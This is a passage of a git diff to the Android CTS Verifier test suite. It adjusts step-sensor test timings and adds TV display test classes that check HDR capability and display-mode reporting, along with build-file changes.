+                        .setVisibility(View.VISIBLE);
+            }
+            teeTestSuccess = true;
+        }
+        if (strongboxTestSuccess && teeTestSuccess) {
+            showToast("Test passed.");
+            getPassButton().setEnabled(true);
+        }
+    }
+}
+
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/StepSensorPermissionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/StepSensorPermissionTestActivity.java
index 2c194c1..cedab27 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/StepSensorPermissionTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/StepSensorPermissionTestActivity.java
@@ -42,8 +42,8 @@
  */
 public class StepSensorPermissionTestActivity extends SensorCtsVerifierTestActivity
         implements SensorEventListener {
-    private static final int STEP_DETECT_DELAY_SECONDS = 2;
-    private static final int STEP_COUNT_DELAY_SECONDS = 10;
+    private static final int STEP_DETECT_DELAY_SECONDS = 30;
+    private static final int STEP_COUNT_DELAY_SECONDS = 30;
     // Additional amount of time to give for receiving either a step detect or
     // count event in case the user hasn't started walking at the time the test
     // starts.
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java
index 41ab6f7..4c6a270 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvAppVerifierActivity.java
@@ -37,7 +37,7 @@
     private ViewGroup mItemList;
     private View mPostTarget;
 
-    protected View getPostTarget() {
+    public View getPostTarget() {
         return mPostTarget;
     }
 
@@ -57,14 +57,14 @@
         getPassButton().setEnabled(false);
     }
 
-    protected void setButtonEnabled(View item, boolean enabled) {
+    public static void setButtonEnabled(View item, boolean enabled) {
         View button = item.findViewById(R.id.user_action_button);
         button.setFocusable(enabled);
         button.setClickable(enabled);
         button.setEnabled(enabled);
     }
 
-    protected void setPassState(View item, boolean passed) {
+    public static void setPassState(View item, boolean passed) {
         ImageView status = (ImageView) item.findViewById(R.id.status);
         status.setImageResource(passed ? R.drawable.fs_good : R.drawable.fs_error);
         setButtonEnabled(item, false);
@@ -78,7 +78,7 @@
     /**
      * Call this to create a test step where the user must perform some action.
      */
-    protected View createUserItem(int instructionTextId, int buttonTextId, View.OnClickListener l) {
+    public View createUserItem(int instructionTextId, int buttonTextId, View.OnClickListener l) {
         View item = mInflater.inflate(R.layout.tv_item, mItemList, false);
         TextView instructions = (TextView) item.findViewById(R.id.instructions);
         instructions.setText(instructionTextId);
@@ -93,7 +93,7 @@
     /**
      * Call this to create a test step where the user must perform some action.
      */
-    protected View createUserItem(CharSequence instructionCharSequence,
+    public View createUserItem(CharSequence instructionCharSequence,
                                   int buttonTextId, View.OnClickListener l) {
         View item = mInflater.inflate(R.layout.tv_item, mItemList, false);
         TextView instructions = (TextView) item.findViewById(R.id.instructions);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/AsyncTestStep.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/AsyncTestStep.java
new file mode 100644
index 0000000..37c33a3
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/AsyncTestStep.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.tv.display;
+
+import android.view.View;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+
+/**
+ *  Encapsulates the logic of an asynchronous test step, which displays a human instructions and a
+ *  button to start the test. For synchronous steps see {@link SyncTestStep}.
+ */
+public abstract class AsyncTestStep extends TestStepBase {
+
+    public AsyncTestStep(TvAppVerifierActivity context) {
+        super(context);
+    }
+
+    /**
+     * Runs the test logic, when finished calls {@link AsyncTestStep#done()}.
+     */
+    public abstract void runTestAsync();
+
+    @Override
+    protected void onButtonClickRunTest() {
+        // Disable the button, so the user can't run it twice.
+        disableButton();
+        showLoadingSpinner();
+        runTestAsync();
+    }
+
+    @Override
+    protected void done() {
+        hideLoadingSpinner();
+        super.done();
+    }
+
+    private void showLoadingSpinner() {
+        View spinner = mViewItem.findViewById(R.id.loadingSpinner);
+        spinner.setVisibility(View.VISIBLE);
+    }
+
+    private void hideLoadingSpinner() {
+        View spinner = mViewItem.findViewById(R.id.loadingSpinner);
+        spinner.setVisibility(View.INVISIBLE);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
new file mode 100644
index 0000000..7123be7
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
@@ -0,0 +1,212 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.tv.display;
+
+import android.view.Display;
+
+import androidx.annotation.StringRes;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+
+import com.google.common.base.Throwables;
+import com.google.common.collect.Range;
+
+import java.time.Duration;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Test to verify the HDR Capabilities API is correctly implemented.
+ *
+ * This test checks if
+ * <a href="https://developer.android.com/reference/android/view/Display.html#isHdr()">Display.isHdr()</a>
+ * and
+ * <a href="https://developer.android.com/reference/android/view/Display.html#getHdrCapabilities()">Display.getHdrCapabilities()</a>
+ * return correct results when 1. HDR Display is connected, 2. non-HDR
+ * Display is connected and 3. no display is connected.
+ */
+public class DisplayHdrCapabilitiesTestActivity extends TvAppVerifierActivity {
+    private static final float MAX_EXPECTED_LUMINANCE = 10_000f;
+    private static final int DISPLAY_DISCONNECT_WAIT_TIME_SECONDS = 5;
+
+    private TestSequence mTestSequence;
+
+    @Override
+    protected void setInfoResources() {
+        setInfoResources(R.string.tv_hdr_capabilities_test,
+                R.string.tv_hdr_capabilities_test_info, -1);
+    }
+
+    @Override
+    public String getTestDetails() {
+        return mTestSequence.getFailureDetails();
+    }
+
+    @Override
+    protected void createTestItems() {
+        List<TestStepBase> testSteps = new ArrayList<>();
+        testSteps.add(new NonHdrDisplayTestStep(this));
+        testSteps.add(new HdrDisplayTestStep(this));
+        testSteps.add(new NoDisplayTestStep(this));
+
+        mTestSequence = new TestSequence(this, testSteps);
+        mTestSequence.init();
+    }
+
+    private static class NonHdrDisplayTestStep extends SyncTestStep {
+
+        public NonHdrDisplayTestStep(TvAppVerifierActivity context) {
+            super(context);
+        }
+
+        @Override
+        protected String getInstructionText() {
+            return mContext.getString(R.string.tv_hdr_connect_no_hdr_display,
+                    mContext.getString(getButtonStringId()));
+        }
+
+        @Override
+        protected String getStepName() {
+            return "Non HDR Display";
+        }
+
+        @Override
+        protected @StringRes int getButtonStringId() {
+            return R.string.tv_start_test;
+        }
+
+        @Override
+        public void runTest() {
+            Display display = mContext.getWindowManager().getDefaultDisplay();
+            getAsserter()
+                    .withMessage("Display.isHdr()")
+                    .that(display.isHdr())
+                    .isFalse();
+            getAsserter()
+                    .withMessage("Display.getHdrCapabilities()")
+                    .that(display.getHdrCapabilities().getSupportedHdrTypes())
+                    .isEmpty();
+        }
+    }
+
+    private static class HdrDisplayTestStep extends SyncTestStep {
+
+        public HdrDisplayTestStep(TvAppVerifierActivity context) {
+            super(context);
+        }
+
+        @Override
+        protected String getInstructionText() {
+            return mContext.getString(R.string.tv_hdr_connect_hdr_display,
+                    mContext.getString(getButtonStringId()));
+        }
+
+        @Override
+        protected String getStepName() {
+            return "HDR Display";
+        }
+
+        @Override
+        protected @StringRes int getButtonStringId() {
+            return R.string.tv_start_test;
+        }
+
+        @Override
+        public void runTest() {
+            Display display = mContext.getWindowManager().getDefaultDisplay();
+
+            getAsserter()
+                    .withMessage("Display.isHdr()")
+                    .that(display.isHdr())
+                    .isTrue();
+
+            Display.HdrCapabilities hdrCapabilities = display.getHdrCapabilities();
+
+            int[] supportedHdrTypes = hdrCapabilities.getSupportedHdrTypes();
+            Arrays.sort(supportedHdrTypes);
+
+            getAsserter()
+                    .withMessage("Display.getHdrCapabilities().getSupportedTypes()")
+                    .that(supportedHdrTypes)
+                    .isEqualTo(new int[]{
+                        Display.HdrCapabilities.HDR_TYPE_DOLBY_VISION,
+                        Display.HdrCapabilities.HDR_TYPE_HDR10,
+                        Display.HdrCapabilities.HDR_TYPE_HDR10_PLUS,
+                        Display.HdrCapabilities.HDR_TYPE_HLG
+                    });
+
+            float maxLuminance = hdrCapabilities.getDesiredMaxLuminance();
+            getAsserter()
+                    .withMessage("Display.getHdrCapabilities().getDesiredMaxLuminance()")
+                    .that(maxLuminance)
+                    .isIn(Range.openClosed(0f, MAX_EXPECTED_LUMINANCE));
+
+            float minLuminance = hdrCapabilities.getDesiredMinLuminance();
+            getAsserter()
+                    .withMessage("Display.getHdrCapabilities().getDesiredMinLuminance()")
+                    .that(minLuminance)
+                    .isIn(Range.closedOpen(0f, MAX_EXPECTED_LUMINANCE));
+
+            getAsserter()
+                    .withMessage("Display.getHdrCapabilities().getDesiredMaxAverageLuminance()")
+                    .that(hdrCapabilities.getDesiredMaxAverageLuminance())
+                    .isIn(Range.openClosed(minLuminance, maxLuminance));
+        }
+    }
+
+    private static class NoDisplayTestStep extends AsyncTestStep {
+        public NoDisplayTestStep(TvAppVerifierActivity context) {
+            super(context);
+        }
+
+        @Override
+        protected String getInstructionText() {
+            return mContext.getString(R.string.tv_hdr_disconnect_display,
+                    mContext.getString(getButtonStringId()),
+                    DISPLAY_DISCONNECT_WAIT_TIME_SECONDS,
+                    DISPLAY_DISCONNECT_WAIT_TIME_SECONDS+1);
+        }
+
+        @Override
+        protected String getStepName() {
+            return "No Display";
+        }
+
+        @Override
+        protected @StringRes int getButtonStringId() {
+            return R.string.tv_start_test;
+        }
+
+        @Override
+        public void runTestAsync() {
+            // Wait for the user to disconnect the display.
+            mContext.getPostTarget().postDelayed(() -> {
+                try {
+                    // Verify the display APIs do not crash when the display is disconnected
+                    Display display = mContext.getWindowManager().getDefaultDisplay();
+                    display.isHdr();
+                    display.getHdrCapabilities();
+                } catch (Exception e) {
+                    getAsserter().fail(Throwables.getStackTraceAsString(e));
+                }
+                done();
+            }, Duration.ofSeconds(DISPLAY_DISCONNECT_WAIT_TIME_SECONDS).toMillis());
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java
new file mode 100644
index 0000000..c9b4de1
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java
@@ -0,0 +1,287 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.tv.display;
+
+import android.content.Context;
+import android.hardware.display.DisplayManager;
+import android.os.Bundle;
+import android.view.Display;
+
+import androidx.annotation.StringRes;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+
+import com.google.common.base.Throwables;
+import com.google.common.truth.Correspondence;
+import com.google.common.truth.FailureMetadata;
+import com.google.common.truth.Subject;
+
+import java.time.Duration;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import javax.annotation.Nullable;
+
+/**
+ * Test for verifying that the platform correctly reports display resolution and refresh rate. More
+ * specifically Display.getMode() and Display.getSupportedModes() APIs are tested against reference
+ * displays.
+ */
+public class DisplayModesTestActivity extends TvAppVerifierActivity {
+    private static final int DISPLAY_DISCONNECT_WAIT_TIME_SECONDS = 5;
+    private static final float REFRESH_RATE_PRECISION = 0.01f;
+
+    private static final Subject.Factory<ModeSubject, Display.Mode> MODE_SUBJECT_FACTORY =
+            (failureMetadata, mode) -> new ModeSubject(failureMetadata, mode);
+
+    private static final Correspondence<Display.Mode, Mode> MODE_CORRESPONDENCE =
+            new Correspondence<Display.Mode, Mode>() {
+                @Override
+                public boolean compare(Display.Mode displayMode, Mode mode) {
+                    return mode.isEquivalent(displayMode, REFRESH_RATE_PRECISION);
+                }
+
+                @Override
+                public String toString() {
+                    return "is equivalent to";
+                }
+            };
+
+    private TestSequence mTestSequence;
+    private DisplayManager mDisplayManager;
+
+    @Override
+    protected void setInfoResources() {
+        setInfoResources(R.string.tv_display_modes_test, R.string.tv_display_modes_test_info, -1);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mDisplayManager = (DisplayManager) getSystemService(Context.DISPLAY_SERVICE);
+    }
+
+    @Override
+    protected void createTestItems() {
+        List<TestStepBase> testSteps = new ArrayList<>();
+        testSteps.add(new NoDisplayTestStep(this));
+        testSteps.add(new Display2160pTestStep(this));
+        testSteps.add(new Display1080pTestStep(this));
+        mTestSequence = new TestSequence(this, testSteps);
+        mTestSequence.init();
+    }
+
+    @Override
+    public String getTestDetails() {
+        return mTestSequence.getFailureDetails();
+    }
+
+    private class NoDisplayTestStep extends AsyncTestStep {
+        public NoDisplayTestStep(TvAppVerifierActivity context) {
+            super(context);
+        }
+
+        @Override
+        protected String getStepName() {
+            return mContext.getString(R.string.tv_display_modes_test_step_no_display);
+        }
+
+        @Override
+        protected String getInstructionText() {
+            return mContext.getString(
+                    R.string.tv_display_modes_disconnect_display,
+                    mContext.getString(getButtonStringId()),
+                    DISPLAY_DISCONNECT_WAIT_TIME_SECONDS,
+                    DISPLAY_DISCONNECT_WAIT_TIME_SECONDS + 1);
+        }
+
+        @Override
+        protected @StringRes int getButtonStringId() {
+            return R.string.tv_start_test;
+        }
+
+        @Override
+        public void runTestAsync() {
+            mContext.getPostTarget()
+                    .postDelayed(
+                            () -> {
+                                try {
+                                    // Verify the display APIs do not crash when the display is
+                                    // disconnected
+                                    Display display =
+                                            mDisplayManager.getDisplay(Display.DEFAULT_DISPLAY);
+                                    display.getMode();
+                                    display.getSupportedModes();
+                                } catch (Exception e) {
+                                    getAsserter().fail(Throwables.getStackTraceAsString(e));
+                                }
+                                done();
+                            },
+                            Duration.ofSeconds(DISPLAY_DISCONNECT_WAIT_TIME_SECONDS).toMillis());
+        }
+    }
+
+    private class Display2160pTestStep extends SyncTestStep {
+        public Display2160pTestStep(TvAppVerifierActivity context) {
+            super(context);
+        }
+
+        @Override
+        protected String getStepName() {
+            return mContext.getString(R.string.tv_display_modes_test_step_2160p);
+        }
+
+        @Override
+        protected String getInstructionText() {
+            return mContext.getString(
+                    R.string.tv_display_modes_connect_2160p_display,
+                    mContext.getString(getButtonStringId()));
+        }
+
+        @Override
+        protected @StringRes int getButtonStringId() {
+            return R.string.tv_start_test;
+        }
+
+        @Override
+        public void runTest() {
+            Display display = mDisplayManager.getDisplay(Display.DEFAULT_DISPLAY);
+            getAsserter()
+                    .withMessage("Display.getMode()")
+                    .about(MODE_SUBJECT_FACTORY)
+                    .that(display.getMode())
+                    .isEquivalentTo(new Mode(3840, 2160, 60f), REFRESH_RATE_PRECISION);
+
+             Mode[] expected2160pSupportedModes = new Mode[]{
+                    new Mode(720, 480, 60f),
+                    new Mode(720, 576, 50f),
+                    // 720p modes
+                    new Mode(1280, 720, 50f),
+                    new Mode(1280, 720, 60f),
+                    // 1080p modes
+                    new Mode(1920, 1080, 24f),
+                    new Mode(1920, 1080, 25f),
+                    new Mode(1920, 1080, 30f),
+                    new Mode(1920, 1080, 50f),
+                    new Mode(1920, 1080, 60f),
+                    // 2160p modes
+                    new Mode(3840, 2160, 24f),
+                    new Mode(3840, 2160, 25f),
+                    new Mode(3840, 2160, 30f),
+                    new Mode(3840, 2160, 50f),
+                    new Mode(3840, 2160, 60f)
+            };
+            getAsserter()
+                    .withMessage("Display.getSupportedModes()")
+                    .that(Arrays.asList(display.getSupportedModes()))
+                    .comparingElementsUsing(MODE_CORRESPONDENCE)
+                    .containsAllIn(expected2160pSupportedModes);
+        }
+    }
+
+    private class Display1080pTestStep extends SyncTestStep {
+        public Display1080pTestStep(TvAppVerifierActivity context) {
+            super(context);
+        }
+
+        @Override
+        protected String getStepName() {
+            return mContext.getString(R.string.tv_display_modes_test_step_1080p);
+        }
+
+        @Override
+        protected String getInstructionText() {
+            return mContext.getString(
+                    R.string.tv_display_modes_connect_1080p_display,
+                    mContext.getString(getButtonStringId()));
+        }
+
+        @Override
+        protected @StringRes int getButtonStringId() {
+            return R.string.tv_start_test;
+        }
+
+        @Override
+        public void runTest() {
+            Display display = mDisplayManager.getDisplay(Display.DEFAULT_DISPLAY);
+
+            getAsserter()
+                    .withMessage("Display.getMode()")
+                    .about(MODE_SUBJECT_FACTORY)
+                    .that(display.getMode())
+                    .isEquivalentTo(new Mode(1920, 1080, 60f), REFRESH_RATE_PRECISION);
+
+            final Mode[] expected1080pSupportedModes = new Mode[]{
+                    new Mode(720, 480, 60f),
+                    new Mode(720, 576, 50f),
+                    // 720p modes
+                    new Mode(1280, 720, 50f),
+                    new Mode(1280, 720, 60f),
+                    // 1080p modes
+                    new Mode(1920, 1080, 24f),
+                    new Mode(1920, 1080, 25f),
+                    new Mode(1920, 1080, 30f),
+                    new Mode(1920, 1080, 50f),
+                    new Mode(1920, 1080, 60f),
+            };
+            getAsserter()
+                    .withMessage("Display.getSupportedModes()")
+                    .that(Arrays.asList(display.getSupportedModes()))
+                    .comparingElementsUsing(MODE_CORRESPONDENCE)
+                    .containsAllIn(expected1080pSupportedModes);
+        }
+    }
+
+    // We use a custom Mode class since the constructors of Display.Mode are hidden. Additionally,
+    // we want to use fuzzy comparision for frame rates which is not used in Display.Mode.equals().
+    private static class Mode {
+        public int mWidth;
+        public int mHeight;
+        public float mRefreshRate;
+
+        public Mode(int width, int height, float refreshRate) {
+            this.mWidth = width;
+            this.mHeight = height;
+            this.mRefreshRate = refreshRate;
+        }
+
+        public boolean isEquivalent(Display.Mode displayMode, float refreshRatePrecision) {
+            return mHeight == displayMode.getPhysicalHeight()
+                    && mWidth == displayMode.getPhysicalWidth()
+                    && Math.abs(mRefreshRate - displayMode.getRefreshRate()) < refreshRatePrecision;
+        }
+
+        @Override
+        public String toString() {
+            return String.format("%dx%d %.2f Hz", mWidth, mHeight, mRefreshRate);
+        }
+    }
+
+    private static class ModeSubject extends Subject<ModeSubject, Display.Mode> {
+        public ModeSubject(FailureMetadata failureMetadata, @Nullable Display.Mode subject) {
+            super(failureMetadata, subject);
+        }
+
+        public void isEquivalentTo(Mode mode, float refreshRatePrecision) {
+            if (!mode.isEquivalent(actual(), refreshRatePrecision)) {
+                failWithActual("expected", mode);
+            }
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/SyncTestStep.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/SyncTestStep.java
new file mode 100644
index 0000000..0c4181a
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/SyncTestStep.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.tv.display;
+
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+
+/**
+ * Encapsulates the logic of a synchronously running test step, which displays a human instructions
+ * and a button to start the test. For asynchronous steps see {@link AsyncTestStep}.
+ */
+public abstract class SyncTestStep extends TestStepBase {
+    public SyncTestStep(TvAppVerifierActivity context) {
+        super(context);
+    }
+
+    public abstract void runTest();
+
+    @Override
+    protected void onButtonClickRunTest() {
+        runTest();
+        done();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestSequence.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestSequence.java
new file mode 100644
index 0000000..e80828a
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestSequence.java
@@ -0,0 +1,66 @@
+package com.android.cts.verifier.tv.display;
+
+
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+
+import java.util.List;
+import java.util.stream.Collectors;
+
+/**
+ * A sequence of {@link TestStepBase}s within a {@link TvAppVerifierActivity}, which are meant to be
+ * executed one after another. The whole sequence passes if all containing test steps pass.
+ */
+public class TestSequence {
+    private List<TestStepBase> steps;
+    private TvAppVerifierActivity context;
+
+    /**
+     * @param context The TvAppVerifierActivity containing this sequence.
+     * @param steps List of the steps contained in the sequence.
+     */
+    public TestSequence(TvAppVerifierActivity context, List<TestStepBase> steps) {
+        this.context = context;
+        this.steps = steps;
+    }
+
+    /**
+     * Initializes the steps in the sequence by creating their UI components, ensuring they can be
+     * executed only in the given order and properly enable the pass/fails buttons of the
+     * surrounding {@link TvAppVerifierActivity}. This method should be called in the
+     * createTestItems() method of the {@link TvAppVerifierActivity} which contains this sequence.
+     */
+    public void init() {
+        if (steps.isEmpty()) {
+            return;
+        }
+
+        // Initialize all containing test steps.
+        steps.stream().forEach(step -> step.createUiElements());
+
+        // After a step is completed we enable the button of the next step.
+        for (int i = 0; i < steps.size() - 1; i++) {
+            final int next = i + 1;
+            steps.get(i).setOnDoneListener(() -> steps.get(next).enableButton());
+        }
+
+        // When the last step is done, mark the sequence as done.
+        steps.get(steps.size() - 1)
+                .setOnDoneListener(() -> onAllStepsDone());
+
+        // Enable the button of the first test step so the user can start it.
+        steps.get(0).enableButton();
+    }
+
+    public String getFailureDetails() {
+        return steps.stream()
+                .filter(step -> !step.hasPassed())
+                .map(step -> step.getFailureDetails())
+                .collect(Collectors.joining("\n"));
+    }
+
+    private void onAllStepsDone() {
+        // The sequence passes if all containing test steps pass.
+        boolean allTestStepsPass = steps.stream().allMatch(step -> step.hasPassed());
+        context.getPassButton().setEnabled(allTestStepsPass);
+    }
+}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestStepBase.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestStepBase.java
new file mode 100644
index 0000000..ae2a65b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestStepBase.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.tv.display;
+
+import android.view.View;
+import android.widget.TextView;
+
+import androidx.annotation.StringRes;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+
+import com.google.common.truth.FailureStrategy;
+import com.google.common.truth.StandardSubjectBuilder;
+
+import java.util.Arrays;
+
+/**
+ * Encapsulates the logic of a test step, which displays a human instructions and a button to start
+ * the test.
+ */
+public abstract class TestStepBase {
+    final protected TvAppVerifierActivity mContext;
+    protected View mViewItem;
+    private boolean mHasPassed;
+    private Runnable mOnDoneListener;
+    private String mFailureDetails;
+    private StandardSubjectBuilder mAsserter;
+
+    /**
+     * Constructs a test step containing instruction to the user and a button.
+     *
+     * @param context The test activity which this test step is part of.
+     */
+    public TestStepBase(TvAppVerifierActivity context) {
+        this.mContext = context;
+
+        FailureStrategy failureStrategy = assertionError -> {
+            appendFailureDetails(assertionError.getMessage());
+            mHasPassed = false;
+        };
+        mAsserter = StandardSubjectBuilder.forCustomFailureStrategy(failureStrategy);
+        mHasPassed = true;
+    }
+
+    public boolean hasPassed() {
+        return mHasPassed;
+    }
+
+    /**
+     * Creates the View for this test step in the context {@link TvAppVerifierActivity}.
+     */
+    public void createUiElements() {
+        mViewItem = mContext.createUserItem(
+                getInstructionText(),
+                getButtonStringId(),
+                (View view) -> {
+                    appendInfoDetails("Running test step %s...", getStepName());
+                    onButtonClickRunTest();
+                });
+    }
+
+    /**
+     * Enables the button of this test step.
+     */
+    public void enableButton() {
+        TvAppVerifierActivity.setButtonEnabled(mViewItem, true);
+    }
+
+    /**
+     * Disables the button of this test step.
+     */
+    public void disableButton() {
+        TvAppVerifierActivity.setButtonEnabled(mViewItem, false);
+    }
+
+    public void setOnDoneListener(Runnable listener) {
+        mOnDoneListener = listener;
+    }
+
+    public String getFailureDetails() {
+        return mFailureDetails;
+    }
+
+    /**
+     * Human readable name of this test step to be output to logs.
+     */
+    protected abstract String getStepName();
+
+    protected abstract void onButtonClickRunTest();
+
+    /**
+     * Returns the text of the test instruction visible to the user.
+     */
+    protected abstract String getInstructionText();
+
+    /**
+     * Returns id of string resource containing the text of the button.
+     */
+    protected abstract @StringRes int getButtonStringId();
+
+    protected void done() {
+        TvAppVerifierActivity.setPassState(mViewItem, mHasPassed);
+        if (mOnDoneListener != null) {
+            mOnDoneListener.run();
+        }
+    }
+
+    protected StandardSubjectBuilder getAsserter() {
+        return mAsserter;
+    }
+
+    protected void appendInfoDetails(String infoFormat, Object... args) {
+        String info = String.format(infoFormat, args);
+        String details = String.format("Info: %s", info);
+        appendDetails(details);
+    }
+
+    protected void appendFailureDetails(String failure) {
+        String details = String.format("Failure: %s", failure);
+        appendDetails(details);
+        appendMessageToView(mViewItem, details);
+    }
+
+    protected void appendDetails(String details) {
+        if (mFailureDetails == null) {
+            mFailureDetails = new String();
+        }
+        mFailureDetails += details + "\n";
+    }
+
+    private static void appendMessageToView(View item, String message) {
+        TextView instructions = item.findViewById(R.id.instructions);
+        instructions.setText(instructions.getText() + "\n" + message);
+    }
+}
diff --git a/apps/CtsVerifierInstantApp/Android.bp b/apps/CtsVerifierInstantApp/Android.bp
new file mode 100644
index 0000000..cc39927
--- /dev/null
+++ b/apps/CtsVerifierInstantApp/Android.bp
@@ -0,0 +1,26 @@
+//
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsVerifierInstantApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "sts",
+    ],
+}
diff --git a/apps/ForceStopHelperApp/Android.bp b/apps/ForceStopHelperApp/Android.bp
new file mode 100644
index 0000000..06bfd98
--- /dev/null
+++ b/apps/ForceStopHelperApp/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsForceStopHelper",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+    sdk_version: "current",
+    min_sdk_version: "12",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/apps/ForceStopHelperApp/Android.mk b/apps/ForceStopHelperApp/Android.mk
deleted file mode 100644
index 7ae586a..0000000
--- a/apps/ForceStopHelperApp/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
